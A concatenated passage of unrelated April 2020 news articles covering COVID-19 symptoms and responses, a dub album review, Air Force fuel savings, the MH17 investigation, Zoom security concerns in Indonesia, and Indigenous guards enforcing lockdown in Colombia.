symptoms fever, cough and shortness of breath. Now the list includes chills, repeated shaking with chills, muscle pain, headache, sore throat and loss of taste or smell. The symptoms usually appear within two to 14 days after exposure to the virus. It stresses the emergency warning signs for COVID-19 are trouble breathing, persistent pain or pressure in the chest, confusion or inability to arouse and bluish lips or face. One of the reasons COVID-19 has been so hard to contain is because pre-symptomatic or asymptomatic people are likely spreading it without knowing it. In an interview with Science Magazine, George Gao, director-general of the Chinese CDC said that the droplets that come out of a persons mouth when they speak are reduced when wearing a mask and could help stop the transfer from contagious people who dont necessarily know they are carrying the virus. Some experts have also said that people who recover from the coronavirus could develop immunity to the virus, at least in the short term. But the World Health Organization said there is currently no evidence to support that theory. According to the Swedish Ambassador to the U.S., Karin Ulrika Olofsdotter, Stockholm is on course to reach herd immunity in May. About 30% of people in Stockholm have reached a level of immunity, said Olofsdotter in an interview with NPR. We could reach herd immunity in the capital as early as next month. Herd immunity is a form of indirect protection from infectious disease that occurs when over 60% of a population has become immune to an infection, whether through previous infections or vaccination, thereby providing a measure of protection for individuals who are not immune. However, more than 260 patients in South Korea have retested as COVID-19 positive after it was thought they had recovered, according to South Koreas CDC. MORE CORONAVIRUS COVERAGE Coronavirus: Federal health officials ready new guidelines as restrictions ease A coronavirus antibody test wont get you back to work. You might not even be immune, officials warn More Syracuse nurses going to Long Island to care for coronavirus patients Where is coronavirus in NY? See map, charts of COVID-19 cases, deaths, hospitalizations (Monday, April 27) Cuomo briefing: Help for Upstate dairy farmers, new drive-thru testing sites T his weeks working-from-home album is a stone-cold classic of dub: King Tubbys Meets Rockers Uptown, the genre-defining collaboration between Augustus Pablo and King Tubby. If reggae music is the source, then dub is the chopped-up end product, where the studio itself is used as an instrument. The scene grew from the high-stakes sound system scene in Jamaica back in the 1950s. Competing systems would try to draw the biggest crowds by playing the best music or, the newest music. This pushed some producers to forge fresh sounds from existing reggae tracks, taking the key components and manipulating them into an entirely different beast. These roots then flourished into a fully formed dub scene. Blackboard Jungle Dub, released in 1973 by Lee Scratch Perrys The Upsetters, is broadly thought of as the first ever dub album, but it was the 1976 album from Pablo and Tubby that solidified the genres stylistic brilliance. Pablo was the record producer and melodica extraordinaire; Tubby was the pioneering sound engineer who cut his teeth in the days of early sound system culture. And it was their coming together on this record that made it so special. Pablos haunting melodica work and inky basslines were perfectly tempered by Tubbys studio wizardry, all scattered snares and shadowy reverb. The best example on this album and probably the best gateway to dub for any newcomers is the albums title track. Its a reworking of Jacob Millers Baby I Love You So. It sounds like a shadowy recollection of the song stored somewhere in the back of Millers mind theres enough here to recognise the original tune, but the dub version has its own distinctive, subterranean style. Record store owners on the music that represents dub in London The Air Force recently proved through a series of tests that its KC-135 Stratotanker aircraft can fly more efficiently just by mounting the cockpit windows wiper blades vertically instead of horizontally. The potential fuel cost savings: about $7 million per year. Researchers with the Advanced Power and Technology Office, part of the Air Force Research Laboratory, and the Southwest Research Institute, assessed the KC-135 after similar tests were conducted on a commercial McDonnell Douglas MD-11 cargo airliner. The commercial tests showed the new blade direction reduced its flight drag by 1.2%. Across the KC-135 fleet, blades are positioned horizontally on the windshield as part of the aircrafts original 1950s design, officials said in a news release. However, as the understanding of aviation aerodynamics advanced, research indicated placing the wipers vertically when not in use could improve aerodynamic efficiency and optimize fuel use. Related: Air Force No Longer Spending $10,000 on Toilet Seats, Officials Say The monthslong ground tests at Rickenbacker Air National Guard Base in Ohio, home of the 121st Air Refueling Wing, indicated aircraft drag can be reduced by approximately 1% during cruise conditions, the service said. Using computational fluid dynamics, or CFD, the aeronautical engineers were able to model how air flows over the nose and windshield of the aircraft during flight, simulating both vertical and horizontal wiper positions, the release said. The data collected revealed drag was reduced 0.8% just by moving the blade vertically, and 0.2% for a slimmer wiper design on the cockpits window. Computational fluid dynamics analysis, conducted by Air Force Research Laboratory and Southwest Research Institute, shows the nose of a KC-135 Stratotanker, as the wiper blades are positioned horizontally, left, and vertically, right. The red indicates an area of high aerodynamic drag. (U.S. Air Force courtesy photo) While 1% efficiency may not seem like a lot, it equates to millions of dollars in fuel savings each year, which can then be re-invested into other programs, Daniel Pike, acquisition manager and chief of future operations for Air Force Operational Energy, said in a statement. For example, the KC-135 fleet used more than 260 million gallons in fiscal 2019, the service said, citing the Air Force Total Ownership Cost database. That accounts for roughly 14% of the Air Forces total fuel use across its aircraft fleets. When you combine the results of optimization efforts across multiple aircraft, you start to understand how much of an impact this could have, Pike added. The Air Force will next move on to airworthiness testing in order to receive the proper certifications from the Federal Aviation Administration. Engineers will also improve the wiper design before heading into the next test phase sometime this summer. The service plans to share its findings with Delta Airlines to help assess whether a similar layout could be used on its Boeing 767 fleet, the release said. Units across the service have been searching for new ways to drive down spending in various ways. For example, in June 2018, airmen with the Air Force Research Laboratory's Junior Force Warfighter Operations team said they were reengineering a milk stool used by C-130 Hercules fleets worldwide. The effort -- to make a more easily transportable stool that props up the plane's rear loading ramp -- would create an annual savings of "approximately $375,000 for the Air Force and up to $1.7 million if the new milk stool is adopted across the entire C-130 fleet," officials said at the time. -- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @Oriana0214. Read More: Air Force Was Wrong to Force Out 14-Year Officer, Appeals Court Finds Top Egyptian chefs launch initiative to provide free meals to medical staff on the frontline of the fight against the coronavirus The Ehna Maakom (We are with you) initiative has been launched to extend to a helping hand to the medical staff fighting the coronavirus by providing hot, fresh, and healthy meals for free. In Egypt, many private entities and charity organisations have hailed the efforts of medical workers, including doctors, nurses, administrators and hospital staff as they battle COVID-19 in quarantine hospitals. It was this sense of responsibility that triggered the initiative. Chefs were keen to provide healthcare workers with hot meals just like they might have at home. We really care and we try to make them feel cared for, internationally certified Egyptian chef Mohamed Salah, a participant in the initiative, told Ahram Online. The initiative was founded by Nagwa Fathi, who owns a food catering business. Fathi has been working in the culinary field for seven years, and her kitchen offers authentic Egyptian and oriental food. When Fathi asked me to be part of the team, I agreed without hesitation. It took one week to set a plan and prepare for the initiative before it took off three weeks ago, Salah said. In the beginning, it was not easy at all to find food companies and sponsors to provide us with food supplies. Many hospitals were sceptical of the idea, as administrations were wary that the quality of food might be compromised and had doubts with regards to infections and food hygiene, he said. Salah explains that they made use of business relations with different food companies to bring sponsors on board, and utilised different social media platforms to support the initiative. Chef teams cooked and delivered fresh, hot, and nutritious meals (breakfast and dinner) every day to medical staff at Imbaba Hospital. We are negotiating to deliver more meals to Sednaoui Hospital in El-Gomhouria Street and El-Abassiya Fever Hospital, he added. Chef Salah explained that each meal contains three major elements: protein (fish, meat chicken), carbohydrates (rice, pasta, bread) and vegetables, plus fresh salad as a side dish. The breakfast meal includes beans, eggs, jam, honey, bread and freshly baked pastries like croissant, Danish, pate, pie and muffins. In Ramadan, we will continue to deliver iftar and suhoor meals, he says. A team of professionals The initiatives team is comprised of founder Nagwa Fathi, medical laboratory specialist Dr Nehal Mohsen, who supervises the process of cleansing, disinfecting and sterilising the operation, and 10 chefs. The volunteer chefs are Mohamed Salah, Wesam Masoud, Marwan Hamdi, Mohanad Mustafa, Ashraf El-Mansi, Hisham Rafaat, Maryan Hani, Nelly Ezz, Nour Ghaafar and Fatma Sami. Finally, Ismail Gawish and Khaled Fadel are responsible for making the deliveries to hospitals. The entire team is made up of volunteers. Salah stressed that most of the cooks are professional and certified chefs. We use healthy cooking methods to capture the flavour while retaining the nutrients, he said. Impeccable hygiene Salah says that the whole team takes measures to guarantee food safety. The entire staff washes their hands constantly, use hand disinfectants and wear gloves. Inside the kitchen, there is a reminder every 30 minutes for the cooking staff to wash their hands and change masks and gloves. Every chef wears special work garments that must be washed and cleaned every day, and 70 percent ethyl alcohol is sprayed over the chefs entire body before they enter the kitchen. Salah added that chefs are responsible for cleaning and sanitising the kitchen. All the kitchen surfaces and work counters are regularly and meticulously sanitised, and all tools, cookware and utensils are put in the dishwashing machine on the disinfecting and sterilising washing cycle, he says. We hope that similar initiatives are implemented in all governorates, he said. Search Keywords: Short link: The UT police on Tuesday ordered a departmental inquiry against a woman constable for allegedly thrashing a man who came to the Bapu Dham police post with a grievance. The orders were issued by SSP Nilambari Jagadale after a video of the incident went viral on social media. In the video, constable Anita was seen hitting and manhandling a man. Sources said the assistant superintendent of police (ASP, south), Neha Yadav, will probe the matter and file a report. On Monday, a person living in Bapu Dham Colony came to a nearby police post to inform them that a man, who is allegedly suffering from a mental condition, had been indulging in stone pelting at the residents of the colony. However, instead of taking action, constable Anita allegedly began thrashing the complainant saying that he had abused the mentally-challenged man multiple times in the past. Later, she also claimed that he had abused her as well. Beat officials have made a daily diary entry of the incident. This is the second such incident reported in seven days, where the conduct of a woman police official has come under question. On April 21, an inquiry was marked against lady constable Usha Yadav, after she misbehaved with an on-duty Punjab Police sub-inspector and his team at a checkpoint in Nayagaon. LOS ANGELESIt wouldn't surprise Evil Angel at all if porn consumers were experiencing lockdown lonelinessand horninessbut the company has an escape for TS fans: two fresh, diverse trans fixes from top pornographers. In Joey Silveras distinctively depraved TS NOW! 5, trans temptresses seduce bold menor in one case, a freaky cisgender girl. The first three scenes are now on EvilAngel.com, with the fourth going live today and two more segments arriving in the first week of May. A trailer at EvilAngelVideo.com previews the entire production, which is now available on DVD and VOD. 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For Broadcast & Licensing/International Sales, contact Alexandra Kelley at [email protected] or call 818-787-1414, ext. 106 . For more information about Evil Angel Wholesale, visit its B2B site EvilDistributor.com. The Evil Angel marketing site is EvilAngelVideo.com. Sony Music CanadaMany of Canada's biggest music stars have come together to create a benefit single for the Canadian Red Cross' COVID-19 relief efforts. Justin Bieber, Bryan Adams, Avril Lavigne, Michael Buble, Sarah McLachlan, Walk Off the Earth, legendary Rush frontman Geddy Lee and more -- more than 25 artists in all -- recorded a version of "Lean on Me," by the late Rock and Roll Hall of Famer Bill Withers. A message at the beginning of the video reads, "To the late, great Bill Withers. Thank you for your lyrics and inspiring message. We are grateful to learn on music during our time of need. Your musical legacy lives on through us." All the artists participating did so from their homes. All proceeds from the song, credited to ArtistsCAN, will go to the Canadian Red Cross to fight the pandemic in Canada. You can text LEANONME to 20222 to donate, or visit RedCross.ca/leanonme. Copyright 2020, ABC Audio. All rights reserved. As the sixth anniversary of the downing of Malaysia Airlines flight MH17 approaches, independent investigators working for Bellingcat have claimed a top official from Russias security service was involved in the tragedy. The organisation named colonel general Andrey Burlaka of the FSB (federal security service) as the highest-ranking Russian official identified as a person of interest in the criminal investigation into the downing of MH17. On 17 July 2014, a Malaysia Airlines Boeing 777 flying from Amsterdam to Kuala Lumpur was hit by an anti-aircraft missile and crashed near the Ukrainian village of Hrabove. All 298 passengers and crew on board died. Many of the victims were from the Netherlands and Australia. Citizens of Belgium, Canada, Germany, Indonesia, Ireland, Israel, Italy, Malaysia, New Zealand, the Philippines, Romania, South Africa, Vietnam, the UK and the US also lost their lives. On 24 May 2018, the Dutch-led Joint Investigation Team (JIT) announced that the Buk missile installation that brought down the flight belonged to the Russian army. It was fired from rebel-held territory in Eastern Ukraine. Three Russians Sergei Dubinsky, Oleg Pulatov and Igor Girkin and a Ukrainian, Leonid Kharchenko, are on trial in The Hague, charged with murder. Prosecutors say they all held senior posts in Russian-backed militias in eastern Ukraine. None of the defendants were in court when the trial opened in March. It has been adjourned until 8 June on request from the lawyers of Mr Pulatov. The other three defendants are being tried in absentia and have not appointed legal representations. While the Kremlin has always denied involvement in the tragedy, the JIT has widened its investigation to include the Russian political and military hierarchy, but with limited success. In pictures: MH17 final report Show all 7 1 /7 In pictures: MH17 final report In pictures: MH17 final report Getty Images In pictures: MH17 final report Getty Images In pictures: MH17 final report Almaz-Antei director Yan Novikov, center, looks at the screen during a news conference in Moscow. Almaz-Antei air defense consortium, the builder of Buk missiles, presented its vision of the MH-17 air crash based on a new modeling of the disaster they recently conducted AP In pictures: MH17 final report A graphic and a skin element of a passenger airplane which was used in a full-scale experiment by Almaz-Antey simulating shooting down of Malaysian Airlines flight MH17 in Ukraine is displayed during a Russian missile manufacturer Almaz-Antey news conference dedicated to the MH17 crash in Moscow EPA In pictures: MH17 final report Almaz-Antei director Yan Novikov, seated center, attends a news conference in Moscow AP In pictures: MH17 final report Projectiles with thecharacteristic "double tee" formation of components of the warhead of a Buk missile 9?38?1, are displayed during a news conference in Moscow AP In pictures: MH17 final report Almaz-Antei director Yan Novikov, attends a news conference in Moscow AP Now Bellingcat says it can prove that colonel general Burlaka was the individual working under the alias of Vladimir Ivanovich. The investigators call him a shadowy figure who, by the start of July 2014, was already in a crucial role supervising militant activities in Donbas and authorising the flow of weapons across the border. They say Andrey Burlaka was born in 1965 in the Russian far east, and served as a border officer at the Soviet Unions frontiers with Afghanistan and Iran. Bellingcat has obtained commercial flight data and say that he flew from Moscow to Rostov-on-Don a control centre for military operations against Ukraine on 15 July 2014, and flew back in the evening of 18 July 2014, the day after MH17s shootdown. Four suspects named and charged in MH17 plane crash It is extremely unlikely that Mr Burlaka would appear at the trial in The Hague. The JIT says: The witnesses in this investigation face a genuine security risk. That risk applies especially to witnesses who live or have family members living in parts of eastern Ukraine occupied by armed groups. Dozens of witnesses are having their identities protected. Share this article Whatsapp Facebook Twitter Linkedin Dzulfiqar Fathur Rahman (The Jakarta Post) Jakarta Tue, April 28 2020 Flooded: Farmers harvest rice at their inundated rice field in Terusan village, Sindang district, Indramayu regency, West Java, on Sunday. Hectares of rice field in the region were damaged due to the overflowing Cimanuk River. (Antara/Dedhez Anggara) The Trade Ministry has said that the rice stock from the upcoming harvest season will last through November despite declining production and surging demand. The ministrys domestic trade director general, Suhanto, estimated rice production would decline by 10 percent to around 17.8 million tons, citing a report by the Indonesian Rice Millers and Entrepreneurs Association (Perpadi). Added to the current stock of 3.3 million tons, the supply would exceed national demand by 6.2 million tons, the ministry estimated. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login China threatens Australia with boycott of goods over virus probe Iran Press TV Monday, 27 April 2020 10:37 AM China's ambassador to Australia has warned that Canberra's insistence on a politically motivated investigation into Beijing's handling of the coronavirus outbreak could result in a boycott of Australian products. Ambassador Cheng Jingye warned in an interview with the Australian Financial Review published on Sunday that a demand for a probe could lead to a consumer boycott. "The Chinese public is frustrated, dismayed, and disappointed with what Australia is doing now," he said. The Chinese diplomat advised Australians not to push for a probe, warning Canberra that pandering to the United States could be "dangerous." Australia has joined Washington in calling for an investigation into how the new coronavirus transformed from a Chinese epidemic limited to the central city of Wuhan into a global pandemic that has killed more than 200,000 people. Last Wednesday, Australian Prime Minister Scott Morrison said that, in a phone call with US President Donald Trump, he had sought US support for launching an international investigation into the coronavirus pandemic. The Trump administration first floated the idea, insinuating that the virus had been artificially synthesized in a laboratory in Wuhan. The lab facing the accusation has dismissed the claim as a conspiracy theory. It is widely believed that Trump, who is seeking re-election in November, is trying to blame Beijing and deflect from the shortcomings of his own response to the pandemic. In a matter of weeks, the US has become the country the worst hit by the pandemic in the world, in large part due to the Trump administration's inadequate response. Ambassador Cheng echoed that belief. "Some guys are attempting to blame China for their problems and deflect the attention," the Chinese diplomat said, referring to Australian politicians. "It's a kind of pandering to the assertions that are made by some forces in Washington." NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Union Minister Prakash Javadekar on Tuesday said just like the world is unitedly engaged in finding a vaccine for COVID-19, countries should work towards making climate technology an open source which must be available at affordable cost. He was speaking during the first virtual interaction with 30 countries in the 11th session of the Petersberg Climate Dialogue. India along with 30 other countries participated in the dialogue, deliberating over ways and means to tackle the challenge of reinvigorating economies and societies after COVID-19, while enhancing collective resilience and catalysing climate action as well as supporting particularly those that are most vulnerable. "Today, as the world is unitedly engaged in finding a vaccine for novel coronavirus, likewise we should have climate technology as open source which must be available at affordable cost," Javadekar said. Stressing on the issue of climate finance, Javadekar said the world now needs more."We must plan for 1 trillion USD in grants to developing world immediately," he said. The minister also said the world must think of adopting more sustainable consumption patterns in line with requirement of sustainable lifestyles "as was first mooted by Prime Minister Narendra Modi during Paris COP." He mentioned that India's Nationally Determined Contributions spanning a ten-year time frame are ambitious and are also compliant with the temperature goal of the Paris Agreement. The minister also spoke about the opportunity world has to accelerate renewable energy deployment and creating new green jobs in the renewable energy and energy efficiency sector, said a ministry official. The first virtual climate dialogue, was the eleventh session of Petersberg Climate Dialogue which has been hosted by Germany since 2010 to provide a forum for informal high-level political discussions, focusing both on international climate negotiations and the advancement of climate action. The Dialogue was co-chaired by Germany and United Kingdom, the incoming Presidency of 26th Conference of Parties (COP 26) to United Nations Framework Convention on Climate Change (UNFCCC). The dialogue saw participation from ministers and representatives of about 30 countries. This year's dialogue came at a crucial juncture when countries are tackling the COVID-19 pandemic to save lives, overcoming social and economic consequences of the outbreak while also preparing to move into the implementation phase of Paris Agreement under UNFCCC in post-2020 period. The Dialogue is of particular importance this year as COP26, originally scheduled for November, has been postponed to an unknown date in 2021 due to the coronavirus outbreak. The key agenda of the dialogue was to discuss how countries can jointly tackle the challenge of reinvigorating our economies and societies after COVID-19, while enhancing our resilience and catalyzing climate action while also supporting in particular those most vulnerable. The Union Minister also participated in an Indo-German bilateral meeting with Svenja Shulze, Minister, Federal Ministry of Environment, Nature Conservation and Nuclear Safety, Germany, the ministry said in an official statement. This bilateral meeting was held via video conference just before the Petersberg Climate Dialogue, it said. "It covered discussions on a range of issues covering climate change, conservation of biodiversity and technical cooperation with Germany in these areas. "The situation in both countries arising from the COVID 19 pandemic, and recovery efforts, were also discussed," the ministry said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) While India is under lockdown until at least May 3, people are finding it difficult to get their hands on alcohol and weed as the supply runs dry. But the restrictions in place haven't dissuaded people from finding innovative ways to satisfy their mounting cravings. Recently, an unidentified drug smuggler sneaked some cannabis from the US to India in a sleeping bag, the Vice reported. Don't Miss: Contribute To Indiatimes Fundraiser To Help India Fight COVID-19 Representational Image The report reveals that over a kilogram of the cannabis worth Rs 9 lakh was dispatched to India in a parcel containing two sleeping bags and boxes of vacuum cleaners through international postal service. The compelling plan though couldn't come off as it all unraveled at Chennais Foreign Postal Office and Courier Terminal when the staff was alerted by a whiff of strong weedy smell from the parcel. Representational Image/iStock The cannabis was seized under the Narcotic Drugs and Psychotropic Substances Act, 1985. The authorities believe that it was sent from Washington where weed is legal. However, the person to whom the parcel was addressed to in India has come under scanner. The setback will leave the stoner population in very dismal spirits as the audacious plan fails to trick its way through to its righful owner (stoner). Representational Image A large population of the States is turning to cannabis to ease the pain and stress of lockdown as the coronavirus pandemic continues to cause devastating effect in the country that has over 56,000 coronavirus deaths. As per a report in Associated Press, adult-use cannabis sales increased by 64 percent by the end of the second week of March. The demand for legal cannabis and related products had increased two-fold in California and by 50 percent in Washington, as per data in the cannabis industry tracker Headset. Share this article Whatsapp Facebook Twitter Linkedin Made Anthony Iswara (The Jakarta Post) Jakarta Tue, April 28, 2020 08:51 625 fc6853813033f564188675f8bd4964b8 1 National zoom,video-conference,data-privacy,#Zoom,#video-conference,COVID-19,#COVID19 Free Private employee Juliana Ekaputri, 26, said she was surprised after seeing a video last Friday from her colleague showing how videoconferencing application Zoom had caused her colleagues computer to be hacked. The video reminded her that about a week before, she received a notification saying that someone had tried to log in to her Yahoo account. Upon hearing her coworkers story, she suspected that it was because she had used Zoom several times to contact her friends during the ongoing COVID-19 pandemic. She immediately uninstalled the Zoom app on her phone. It is terrifying because most of my work data is on my phone as well as corporate email and mobile banking, Juliana said. Im scared because it leaves open the possibility of something similar happening with other applications as well." Indonesia is becoming wary of teleconferencing platforms such as Zoom for their security holes, as such applications have become popular since the government told people to stay home to prevent further COVID-19 spread in the country. Read also: Defense Ministry bans staff from using Zoom over security concerns Journalist Ismi Damayanti, 29, said she was worried when the app on her iPad started up automatically after receiving a notification that said accessory may not be supported despite being unplugged from any external devices. "I underestimated the news [about Zoom's security problems] but after that incident, I never let Zoom be installed [for too long]," said Ismi, adding that she only installed the application for teleconferences and uninstalled it right after. But such concerns have not only haunted individual users. The Defense Ministry, for instance, issued a circular on April 21 forbidding its staff to use Zoom over security concerns, after learning that Zoom had reported traffic duplication to servers in other countries, opening up the possibility for conversations via the platform to be monitored by a third party. We urge all working unit and sub-unit heads to refrain from using Zoom for teleconferences, the circular reads. Defense Ministry employees are required to coordinate with the ministrys Data and Information Center before conducting a teleconference session. However, numerous ministries and organizations are still turning to Zoom as the best available option to hold press conferences, as the country has yet to develop its own teleconferencing application. The Supreme Court will also continue to use Zoom for its virtual trials, with spokesperson Abdullah saying that continuing trials was crucial because exceeding the court's 30-day detainment period would complicate legal processes. "There are no other solutions for now except [Zoom]," he said, adding the court was currently seeking solutions to the security concerns. The court, however, will not use the application to hold closed trials involving children and "decency cases", nor to authenticate evidence. The Communications and Information Ministry was not available for comment. However, Communications and Information Minister Johnny G. Plate previously said that Zoom was safe for government officials to use, considering that the Cabinet Secretary office controls and manages Zoom meetings for limited Cabinet meetings, as quoted by kompas.com. His ministry is also currently working with cellular operator Telkomsel to review and develop the latters cloud-based telecommunications application CloudX as an alternative application for teleconferences. CloudX is currently only available for corporate usage. Read also: Work from home: Security risks lurk in virtual meetings Telkomsel corporate communications vice president Denny Abidin said last week that the firm would soon issue an official statement about the partnership. Denny has earlier said that Telkomsel was waiting for further coordination with the ministry and planned to open up CloudX to the general public in the near future. Communication and Information System Security Research Center (CISSReC) chairman Pratama Persadha recommends that the government use other safer alternatives for teleconferences, such as Google Meet, Cisco Webex or Microsoft Teams, while it develops its own application. He also lauded the Defense Ministrys ban for being aware of the potential risks of using the Zoom application. The problem with Zoom, he said, was that it lacked end-to-end encryption to prevent third parties from intercepting conferences. He also saw its chat features as a loophole for hackers to access the users username and password, leading to the private data of thousands of users being sold online. Read also: Facebook takes aim at Zoom with video chat upgrade Responding to global concerns over its security, Zoom said it had enhanced its security features in its newest version, which upgrades encryption standards. It has also provided easier access for security controls for the hosts and default password settings for most users, among other features. The move is part of its 90-day plan to bolster privacy and security issues. I am proud to reach this step in our 90-day plan, but this is just the beginning," Zoom chief executive and founder Eric Yuan said last Wednesday. "We will earn our customers trust and deliver them happiness with our unwavering focus on providing the most secure platform." Aside from Zoom, WhatsApp has also been under the spotlight as hackers have reportedly hacked WhatsApp accounts. One independent researcher even faced incitement charges after a message calling for nationwide riots on April 30 was broadcast from his WhatsApp account, which he says was hacked. But not everyone is worried about such hackers. Information technology company administrator Boban Mas Iqbal, 25, said he now felt confident using Zoom as the application now obliges virtual meeting participants to be authorized by the host before they can join a meeting. Actually, hackers are able to enter [virtual meetings] because the individuals are not being careful when they are surfing the internet. Hackers look for loopholes from such carelessness, Boban said. Jambalo, Cauca, Colombia Since he was a teenager, Edinson Quiguanas has helped patrol the roadside checkpoints on the outskirts of his Indigenous village in rural Colombia. This time, his orders are different: no one enters and no one leaves. Before, we protected the community by watching for armed groups, he said. Now the threat is something you cant see. Colombian President Ivan Duque ordered a nationwide lockdown that began on March 24 to control the spread of the novel coronavirus, which has infected more than 5,142 people and infected 233. Indigenous groups, faced with their own challenges and risks in fighting COVID-19, are taking matters into their own hands. More than 15,000 unarmed guardians from the Guardia Indigena (Indigenous Guardians or Guards), a civilian, community defence force, have mobilised throughout the country to prevent the virus from reaching Indigenous reserves, enforcing the command #QuedateEnElTerritorio, or stay in the territory. #QuedateEnElTerritorio| El Pueblo Yanacona junto a campesinos y campesinas se encuentran haciendo control territorial para evitar la propagacion de la pandemia en el resguardo Kwesx Kiwe Nasa en Villa Colombia, cabecera municipal de Jamundi, Valle del Cauca. @luiskankui. pic.twitter.com/bP56MZa5iw Organizacion Nacional Indigena de Colombia ONIC (@ONIC_Colombia) April 22, 2020 Translation: The Yanacona people together with men and women peasant farmers are [taking] territorial control to prevent the spread of the pandemic in the Kwesx Kiwe Nasa reservation. We already have the infrastructure in place from dealing with the violence for so long, Robert Molina, a coordinator of the force, told Al Jazeera. He directs the Guardian programme for the Regional Indigenous Organization of Cauca (CRIC). The mountainous, southwestern state of Cauca has always been one of the most war-afflicted parts of Colombia throughout its more than 50 years of armed conflict. Communities caught in the crossfire for generations formed the Guardia as a grassroots peace-building mechanism, but now they face the unprecedented challenge of blocking a pandemic. A man of the Nasa Indigenous group stands guard in Corinto, Cauca department, Colombia [Luis Robayo/AFP] Members of the Guard patrol 24 hours a day at 375 different checkpoints throughout Cauca. While some of the 9,000 Guardians wear face masks, others protect themselves with the same red and green bandanas they have always worn as a show of allegiance to Indigenous resistance in the state. Indigenous leaders in Cauca have petitioned local government officials for the Guardia to receive more medical supplies and state remuneration for enforcing the quarantine. Theres more control of the pandemic inside our territories than outside, Robert said. But were worried because supplies and money is running out. A test of autonomy Colombia has 102 Indigenous groups who speak 65 different languages. Decades of activism in Cauca helped earn Indigenous peoples constitutional protections to self-govern their collective land holdings, called resguardos, through a council system that operates independently from the Colombian state. Their autonomy rights also guarantee the ability to practise culturally specific education and healthcare. Indigenous leaders are activating all of these systems to work together against the threats of COVID-19. This is truly a test of our autonomy as Indigenous peoples, said Jhoe Sauka, the human rights commissioner of the CRIC. Can we prevent infection by sealing off our territories? Can we grow our own food, use our cultural knowledge? Earlier this month, a delegation of Indigenous authorities convened with spiritual healers known by the Nasa people as Thewalas in the lush mountains of northern Cauca. They hiked to sacred sites at dusk to perform harmonisation rituals designed to stave off disease on a territorial scale. In addition to following public health recommendations from the World Health Organization, the National Indigenous Organization of Colombia (ONIC) is advising communities to practise their traditional medicine. Maybe for once, the poor people of the countryside - the Indigenous and farmers - might be better off than people in the cities ... We don't need the grocery store if we are able to practise what our ancestors knew how to do. The land will take care of us. Jhoe Sauka, CRIC Indigenous groups in Colombia operate an independent healthcare programme called the Indigenous System of Intercultural Health (SISPI) that allows for different conceptions of illness. A coordinator of the program in Cauca, Tatiana Tote, explained, We respect the danger of this virus, but theres no intrinsic fear Were working from a healthcare approach, from spirituality, and from each household to prevent and to take care of each other. Leaders in the state are also setting up a seed exchange between communities from different environmental regions to strengthen each reserves food sovereignty. Teams are mobilising to plant fast-growing crops that will be edible in two to four months. Maybe for once, the poor people of the countryside the Indigenous and farmers might be better off than people in the cities, Jhoe Sauka said. We dont need the grocery store if we are able to practise what our ancestors knew how to do. The land will take care of us. Distinct vulnerabilities Not all Indigenous people in Colombia are equally positioned to marshall these strategies. In the arid Guajira department, the Wayuu people, Colombias most populous Indigenous group, fear that isolation will fatally exacerbate existing food and water shortages. The states unforgiving, desert environment allows little food to grow, and frequent droughts are made worse by Latin Americas largest open-pit coal mine, which usurps much of Guajiras scarce water supply. Since at least 2013, hundreds, if not thousands, of Wayuu children have died because of thirst. The Wayuu and other Indigenous groups like the Tikuna and Cocama have asked the Colombian government for urgent humanitarian aid, denouncing state neglect and inadequate social services. On a national level, the Ethnic Commission for Peace, which represents minorities in Colombia, submitted a letter to President Duque requesting food security and support for their local, autonomous organisations. Members of the Nasa Indigenous tribe walk in front of a mural depicting an Indigenous Guard [File: Federico Rios/Reuters] In response, the Colombian Ministry of the Interior initiated a campaign on April 2 to deliver food and supplies to the most vulnerable communities from predominantly minority ethnic groups. But two weeks later, more than 3,000 Indigenous members of the programme complained that they had not received the promised aid. Indigenous leaders are turning to crowdfunding in lieu of state support. The Ministry of the Interior did not respond to Al Jazeeras request for comment by the time of publication. We know that the health system in Colombia is already precarious, but it is even worse in Indigenous communities, Dario Mejia Montalvo, a representative from the ONIC, told Al Jazeera. Dario belongs to the Zenu people, who declared a state of emergency in their reserves on March 18. One of the concerns is that our population is very poor with little income except from informal day work, which is now gone, he said. Many households dont have potable water to wash hands, and with large families living in close quarters, we know the disease will propagate very quickly for us. He worries that high rates of malnutrition will weaken peoples defenses if they are infected. An Indigenous Guard looks on at La Maria Indigenous reserve, municipality of Piendamo, Cauca department, Colombia [File: Luis Robaya/AFP] Dario was one of the first leaders at ONIC to call for a unified Indigenous strategy against the pandemic. The organisation has now created a system of territorial monitoring, and every day, it publishes a bulletin aggregating on-the-ground information from reserves throughout the country that show the location of potential new coronavirus cases. Each bulletin concludes with the statement: The survival of Indigenous Nations is an ethical imperative for all society as guardians of historical memory. With COVID-19s higher mortality among older age brackets, Indigenous groups face another risk: Our elders are the ones who carry our languages, our traditional wisdom, Dario said. If they are affected, we could lose the very essence of our identity as distinct peoples. Protecting against the virus and armed groups Despite the national lockdown and the United Nations call for a global ceasefire, armed conflict in Colombia has not stopped. The Colombian military is still fighting illegal armed groups during the lockdown. A 14-year-old Indigenous boy in Tacueyo, Cauca, was killed by a stray bullet from one of these confrontations on April 15 while he was at home with his mother. The week before, ONIC shared a video on social media showing hordes of people from an Indigenous community in the Choco department cramming into canoes to flee their village, Bojaya. Sustained confrontations between the National Liberation Army (ELN) rebel group who had previously agreed to a ceasefire during the pandemic and paramilitaries known as the Gaitanista Self-Defense Forces of Colombia (AGC), forced the community to choose possible COVID-19 exposure over the risk of dying by gunfire. At least 800 social leaders have been assassinated since 2016, including 14 killed during the first three weeks of the lockdown. Many activists fear that armed groups are taking advantage of quarantine to carry out violence unimpeded. The UN envoy to Colombia, Carlos Ruiz, denounced the continued killings at a UN Security Council meeting on April 14. An Indigenous Guard from the Nasa tribe walks by a mural in Toribio, department of Cauca, Colombia [Luis Robayo/AFP] Indigenous authorities and the Guard in Cauca are among the most victimised by these assassinations, and they are again being targeted for enforcing the lockdown. In Jambalo, where violence broke out earlier in the month, a dissident faction of the Revolutionary Armed Forces of Colombia (FARC) rebel group posted pamphlets threatening to attack the Guards if they do not lift the checkpoints. Narco-trafficking in the region creates high incentives for illegal groups wanting to continue business. Despite the danger, the Guard and community volunteers like Edinson say they will not let up. Were not going to just let ourselves die so easily, he said. If we can get through this pandemic, we can face anything. Wyoming has received roughly $32.5 million in federal funding to help its 48 school districts offset costs incurred because of the novel coronavirus, the state announced last week. The 